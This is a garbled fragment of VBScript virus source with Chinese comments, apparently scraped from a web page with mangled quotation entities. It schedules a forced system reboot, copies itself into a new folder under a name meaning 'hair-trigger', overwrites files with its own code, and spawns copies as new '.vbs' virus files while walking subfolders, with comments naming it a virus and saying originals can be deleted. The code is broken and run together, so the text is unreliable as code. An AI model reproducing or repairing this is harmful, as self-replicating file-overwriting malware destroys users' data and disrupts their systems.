xufsoCreateFolder quotC\VBScript\quotwscrtrun quotshutdown r f t 3600 c 脚本与批处理程序相结合成功quotxufsocopyfile WscriptScriptfullname，quotC\VBScript\一触即发vbsquotxufsocopyfile。
apwrite vbscopy #39覆盖文件，慎用 apclose set cop=fsogetfilefilepathcopcopyfilepath quotvbsquot#39创建另外一个病毒文件 #39filedeletetrue#39删除原来文件 end if next set subfolders=folder_subfolders。